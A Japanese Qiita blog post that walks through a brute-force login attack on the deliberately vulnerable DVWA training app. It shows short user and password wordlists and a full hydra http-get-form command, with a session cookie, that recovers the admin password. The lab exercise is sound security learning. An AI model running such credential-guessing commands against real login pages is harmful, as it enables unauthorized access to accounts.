LoginSignup
2
0

More than 3 years have passed since last update.

DVWAでBruteForce

Posted at

前提

目標

  • csrfでpassword奪取

手順概要

  • 挙動の確認
  • brute-forceアタック
  • password盗む。

内容

brute-forceとは

  • 総当たり攻撃
  • ログインリクエストを機械的に送り込む。
  • 文字を1つづつ変更し攻撃すれば、絶対にログイン情報が一致する時がくるのだが、時間がかかるので脆弱性のあるログイン情報をまとめたデータを用いてサクッと攻撃されたりもする

前準備

  • DVWAにログインする
  • セキュリティレベルを下げる。
    • メニュー下にあるDVWA securityへアクセス
    • デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

image.png

  • brute-forceにアクセスする(左メニューにある)

image.png

brute-force開始

  • 挙動を確認する
    • 適当にログイン情報を入力してみる。(結果は以下画像)

image.png

  • ログイン動作の挙動から考察する

    • url
    • エラーメッセージ
      • Username and/or password incorrect.
      • ログイン失敗したときのみに表示される文字であり、成功時はこの文字はないだろう。
      • つまり、レスポンスのbody内に上部文字列がなければ成功したことになる
  • hydraを使ってbrute-forceを実行する

    • hydraは前述のロジックを良い感じにやってくれる。
    • user.lstとpass.lstの辞書ファイルを準備する(web上に落ちてる。面倒なら自作してもいい)
    • 以下コマンドを実行する
      • 注意点:このページはこのサイト自体にログインされている前提なのでcookieを乗っけること。こcookieがない場合、トップのログインページにリダイレクトされる上レスポンスにはエラーメッセージがない結果、全て成功したように見える。(今回の場合、10.0.0.2で再度ログインし直している)
root@kali:~# cat pass.lst 
usr
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat
admin

root@kali:~# cat user.lst 
root
sys
msfadmin
admin
user
service
postgres
tomcat

# hydra {domain} -L {user list file} -P {password list file} http-get-form {Path}:{query}:{fail message}:H={cookie}
# option は小文字にすると文字列指定。大文字だとファイル指定になる
root@kali:~# hydra 10.0.0.2 -L user.lst -P pass.lst http-get-form "/DVWA-master/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:incorrect.:H=Cookie:security=low; PHPSESSID=ar960cueqgt0o4r6k0b4jta30r"
Hydra............
[80][http-get-form] host: 10.0.0.2   login: admin   password: admin
...........finished

  • 最後に
    • そもそもログイン情報をクエリに乗せていたら、リクエストを監視さえできれば取れてしまうのではと思った。

おわり

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0